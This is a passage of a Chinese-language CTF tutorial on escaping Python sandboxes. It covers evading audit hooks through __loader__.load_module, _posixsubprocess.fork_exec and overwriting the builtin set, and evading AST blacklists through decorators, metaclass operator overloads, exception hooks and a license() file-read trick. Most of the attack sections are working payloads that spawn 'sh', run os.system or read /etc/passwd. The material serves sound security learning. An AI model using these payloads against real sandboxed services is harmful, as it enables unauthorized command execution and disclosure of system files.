except KeyboardInterrupt:
print('bye~~')
continue
if input_data == '':
continue
try:
complie_code = compile(input_data, '<string>', 'single')
except SyntaxError as err:
print(err)
continue
try:
exec(complie_code, dict_global)
except Exception as err:
print(err)
'''
print(WELCOME)
print("Welcome to the python jail")
print("Let's have an beginner jail of calc")
print("Enter your expression and I will evaluate it for you.")
print("White list of audit hook ===> builtins.input,builtins.input/result,exec,compile")
print("Some code of python jail:")
print(CODE)
my_input()
if __name__ == "__main__":
sys.addaudithook(my_audit_hook)
main()
这道题需要绕过的点有两个:
- 绕过 import 导入模块. 如果直接使用 import,就会触发 audithook
> __import__('ctypes') Operation not permitted: import
- 绕过常规的命令执行方法执行命令. 利用 os, subproccess 等模块执行命令时也会触发 audithook
调试技巧
本地调试时可以在 hook 函数中添加打印出 hook 的类型.
def my_audit_hook(my_event, _):
print(f'[+] {my_event}, {_}')
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
if my_event not in WHITED_EVENTS:
raise RuntimeError('Operation not permitted: {}'.format(my_event))
这样在测试 payload 时就可以知道触发了哪些 hook
> import os
[+] builtins.input/result, ('import os',)
[+] compile, (b'import os', '<string>')
[+] exec, (<code object <module> at 0x7f966795bec0, file "<string>", line 1>,)
__loader__.load_module 导入模块
__loader__.load_module(fullname) 也是 python 中用于导入模块的一个方法并且不需要导入其他任何库.
__loader__.load_module('os')
__loader__ 实际上指向的是 _frozen_importlib.BuiltinImporter 类,也可以通过别的方式进行获取
>>> ().__class__.__base__.__subclasses__()[84]
<class '_frozen_importlib.BuiltinImporter'>
>>> __loader__
<class '_frozen_importlib.BuiltinImporter'>
>>> ().__class__.__base__.__subclasses__()[84].__name__
'BuiltinImporter'
>>> [x for x in ().__class__.__base__.__subclasses__() if 'BuiltinImporter' in x.__name__][0]
<class '_frozen_importlib.BuiltinImporter'>
__loader__.load_module 也有一个缺点就是无法导入非内建模块. 例如 socket
>>> __loader__.load_module('socket')
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "<frozen importlib._bootstrap>", line 290, in _load_module_shim
File "<frozen importlib._bootstrap>", line 721, in _load
File "<frozen importlib._bootstrap>", line 676, in _load_unlocked
File "<frozen importlib._bootstrap>", line 573, in module_from_spec
File "<frozen importlib._bootstrap>", line 776, in create_module
ImportError: 'socket' is not a built-in module
_posixsubprocess 执行命令
_posixsubprocess 模块是 Python 的内部模块，提供了一个用于在 UNIX 平台上创建子进程的低级别接口。subprocess 模块的实现就用到了 _posixsubprocess.
该模块的核心功能是 fork_exec 函数，fork_exec 提供了一个非常底层的方式来创建一个新的子进程，并在这个新进程中执行一个指定的程序。但这个模块并没有在 Python 的标准库文档中列出,每个版本的 Python 可能有所差异.
在我本地的 Python 3.11 中具体的函数声明如下:
def fork_exec(
__process_args: Sequence[StrOrBytesPath] | None,
__executable_list: Sequence[bytes],
__close_fds: bool,
__fds_to_keep: tuple[int, ...],
__cwd_obj: str,
__env_list: Sequence[bytes] | None,
__p2cread: int,
__p2cwrite: int,
__c2pred: int,
__c2pwrite: int,
__errread: int,
__errwrite: int,
__errpipe_read: int,
__errpipe_write: int,
__restore_signals: int,
__call_setsid: int,
__pgid_to_set: int,
__gid_object: SupportsIndex | None,
__groups_list: list[int] | None,
__uid_object: SupportsIndex | None,
__child_umask: int,
__preexec_fn: Callable[[], None],
__allow_vfork: bool,
) -> int: ...
__process_args: 传递给新进程的命令行参数，通常为程序路径及其参数的列表。__executable_list: 可执行程序路径的列表。__close_fds: 如果设置为True，则在新进程中关闭所有的文件描述符。__fds_to_keep: 一个元组，表示在新进程中需要保持打开的文件描述符的列表。__cwd_obj: 新进程的工作目录。__env_list: 环境变量列表，它是键和值的序列，例如：["PATH=/usr/bin", "HOME=/home/user"]。__p2cread, __p2cwrite, __c2pred, __c2pwrite, __errread, __errwrite: 这些是文件描述符，用于在父子进程间进行通信。__errpipe_read, __errpipe_write: 这两个文件描述符用于父子进程间的错误通信。__restore_signals: 如果设置为1，则在新创建的子进程中恢复默认的信号处理。__call_setsid: 如果设置为1，则在新进程中创建新的会话。__pgid_to_set: 设置新进程的进程组 ID。__gid_object, __groups_list, __uid_object: 这些参数用于设置新进程的用户ID 和组 ID。__child_umask: 设置新进程的 umask。__preexec_fn: 在新进程中执行的函数，它会在新进程的主体部分执行之前调用。__allow_vfork: 如果设置为True，则在可能的情况下使用 vfork 而不是 fork。vfork 是一个更高效的 fork，但是使用 vfork 可能会有一些问题 。
下面是一个最小化示例:
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
结合上面的 __loader__.load_module(fullname) 可以得到最终的 payload:
__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)
可以看到全程触发了 builtins.input/result, compile, exec 三个 hook, 这些 hook 的触发都是因为 input, compile, exec 函数而触发的, __loader__.load_module 和 _posixsubprocess 都没有触发.
[+] builtins.input/result, ('__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)',)
[+] compile, (b'__loader__.load_module(\'_posixsubprocess\').fork_exec([b"/bin/cat","/flag"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module(\'os\').pipe()), False, False,False, None, None, None, -1, None, False)', '<string>')
[+] exec, (<code object <module> at 0x7fbecc924670, file "<string>", line 1>,)
另一种解法: 篡改内置函数
这道 audit hook 题还有另外一种解法.可以看到白名单是通过 set 函数返回的, set 作为一个内置函数实际上也是可以修改的
WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
比如我们将 set 函数修改为固定返回一个包含了 os.system 函数的列表
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
这样 set 函数会固定返回带有 os.system 的列表.
__builtins__.set = lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']
最终 payload:
#
exec("for k,v in enumerate(globals()['__builtins__']): print(k,v)")
# 篡改函数
exec("globals()['__builtins__']['set']=lambda x: ['builtins.input', 'builtins.input/result','exec', 'compile', 'os.system']\nimport os\nos.system('cat flag2.txt')")
其他不触发 hook 的方式
使用 __loader__.load_module('os') 是为了获取 os 模块, 其实在 no builtins 利用手法中, 无需导入也可以获取对应模块. 例如:
# 获取 sys
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"]
# 获取 os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'_sitebuiltins." in str(x) and not "_Helper" in str(x) ][0]["sys"].modules["os"]
# 其他的 payload 也都不会触发
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
绕过 AST 沙箱
AST 沙箱会将用户的输入转化为操作码,此时字符串层面的变换基本上没用了,一般情况下考虑绕过 AST 黑名单. 例如下面的沙箱禁止了 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.
import ast
import sys
import os
def verify_secure(m):
for x in ast.walk(m):
match type(x):
case (ast.Import|ast.ImportFrom|ast.Call):
print(f"ERROR: Banned statement {x}")
return False
return True
abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)
print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
line = sys.stdin.readline()
if line.startswith("--END"):
break
source_code += line
tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree): # Safe to execute!
print("-- Executing safe code:")
compiled = compile(source_code, "input.py", 'exec')
exec(compiled)
下面的几种利用方式来源于 hacktricks
without call
如果基于 AST 的沙箱限制了执行函数,那么就需要找到一种不需要执行函数的方式执行系统命令.
装饰器
利用 payload 如下:
@exec
@input
class X:
pass
当我们输入上述的代码后, Python 会打开输入,此时我们再输入 payload 就可以成功执行命令.
>>> @exec
... @input
... class X:
... pass
...
<class '__main__.X'>__import__("os").system("ls")
由于装饰器不会被解析为调用表达式或语句, 因此可以绕过黑名单, 最终传入的 payload 是由 input 接收的, 因此也不会被拦截.
其实这样的话,构造其实可以有很多,比如直接打开 help 函数.
@help
class X:
pass
这样可以直接进入帮助文档:
Help on class X in module __main__:
class X(builtins.object)
| Data descriptors defined here:
|
| __dict__
| dictionary for instance variables (if defined)
|
| __weakref__
| list of weak references to the object (if defined)
(END)
再次输入 !sh 即可打开 /bin/sh
函数覆盖
我们知道在 Python 中获取一个的属性例如 obj[argument] 实际上是调用的 obj.__getitem__ 方法.因此我们只需要覆盖其 __getitem__ 方法, 即可在使用 obj[argument] 执行代码:
>>> class A:
... __getitem__ = exec
...
>>> A()['__import__("os").system("ls")']
但是这里调用了 A 的构造函数, 因此 AST 中还是会出现 ast.Call. 如何在不执行构造函数的情况下获取类实例呢?
metaclass 利用
Python 中提供了一种元类(metaclass)概念。元类是创建类的“类”。在 Python中，类本身也是对象，元类就是创建这些类（即类的对象）的类。
元类在 Python 中的作用主要是用来创建类。类是对象的模板，而元类则是类的模板。元类定义了类的行为和属性，就像类定义了对象的行为和属性一样。
下面是基于元类的 payload, 在不使用构造函数的情况下触发
class Metaclass(type):
__getitem__ = exec
class Sub(metaclass=Metaclass):
pass
Sub['import os; os.system("sh")']
除了 __getitem__ 之外其他方法的利用方式如下:
__sub__ (k - 'import os; os.system("sh")')
__mul__ (k * 'import os; os.system("sh")')
__floordiv__ (k // 'import os; os.system("sh")')
__truediv__ (k / 'import os; os.system("sh")')
__mod__ (k % 'import os; os.system("sh")')
__pow__ (k**'import os; os.system("sh")')
__lt__ (k < 'import os; os.system("sh")')
__le__ (k <= 'import os; os.system("sh")')
__eq__ (k == 'import os; os.system("sh")')
__ne__ (k != 'import os; os.system("sh")')
__ge__ (k >= 'import os; os.system("sh")')
__gt__ (k > 'import os; os.system("sh")')
__iadd__ (k += 'import os; os.system("sh")')
__isub__ (k -= 'import os; os.system("sh")')
__imul__ (k *= 'import os; os.system("sh")')
__ifloordiv__ (k //= 'import os; os.system("sh")')
__idiv__ (k /= 'import os; os.system("sh")')
__itruediv__ (k /= 'import os; os.system("sh")') (Note that this only works when from __future__ import division is in effect.)
__imod__ (k %= 'import os; os.system("sh")')
__ipow__ (k **= 'import os; os.system("sh")')
__ilshift__ (k<<= 'import os; os.system("sh")')
__irshift__ (k >>= 'import os; os.system("sh")')
__iand__ (k = 'import os; os.system("sh")')
__ior__ (k |= 'import os; os.system("sh")')
__ixor__ (k ^= 'import os; os.system("sh")')
示例:
class Metaclass(type):
__sub__ = exec
class Sub(metaclass=Metaclass):
pass
Sub-'import os; os.system("sh")'
exceptions 利用
利用 exceptions 的目的也是为了绕过显示地实例化一个类, 如果一个类继承了 Exception 类, 那么就可以通过 raise 关键字来实例化. payload 如下:
class RCE(Exception):
def __init__(self):
self += 'import os; os.system("sh")'
__iadd__ = exec
raise RCE
raise 会进入 RCE 的 __init__, 然后触发 __iadd__ 也就是 exec.
当然, 触发异常不一定需要 raise, 主动地编写错误代码也可以触发,与是就有了如下的几种 payload.
class X:
def __init__(self, a, b, c):
self += "os.system('sh')"
__iadd__ = exec
sys.excepthook = X
1/0
这个 payload 中直接将 sys.excepthook 进行覆盖,任何异常产生时都会触发.
class X():
def __init__(self, a, b, c, d, e):
self += "print(open('flag').read())"
__iadd__ = eval
__builtins__.__import__ = X
{}[1337]
这个 payload 将 __import__ 函数进行覆盖, 最后的 {}[1337] 在正常情况下会引发 KeyError 异常，因为 Python 在引发异常时会尝试导入某些模块（比如traceback 模块），导入时就会触发 __import__.
通过 license 函数读取文件
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
上面的 payload 修改内建函数 license 的文件名列表为 /etc/passwd 当调用 license() 时会打印这个文件的内容.
>>> __builtins__.__dict__["license"]._Printer__filenames
['/usr/lib/python3.11/../LICENSE.txt', '/usr/lib/python3.11/../LICENSE', '/usr/lib/python3.11/LICENSE.txt', '/usr/lib/python3.11/LICENSE', './LICENSE.txt', './LICENSE']
payload 中将 help 类的 __enter__ 方法覆盖为 license 方法, 而 with 语句在创建上下文时会调用 help 的__enter__, 从而执行 license 方法. 这里的 help 类只是一个载体, 替换为其他的支持上下文的类或者自定义一个类也是可以的. 例如:
class MyContext:
pass
__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = MyContext()
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
pass
其他技巧
模拟 no builitins 环境
no builtins 环境和 python 交互式解析器还是有所差异, 但交互式解析器并没有提供指定命名空间的功能,因此可以自己编写一个脚本进行模拟:
def repl():
global_namespace = {}
local_namespace = {}
while True:
try:
code = input('>>> ')
try:
# Try to eval the code first.
result = eval(code, global_namespace, local_namespace)
except SyntaxError:
# If a SyntaxError occurs, this might be because the user entered a statement,
# in which case we should use exec.
exec(code, global_namespace, local_namespace)
else:
print(result)
except EOFError:
break
except Exception as e:
print(f"Error: {e}")
if __name__ == "__main__":
repl()
参考资料
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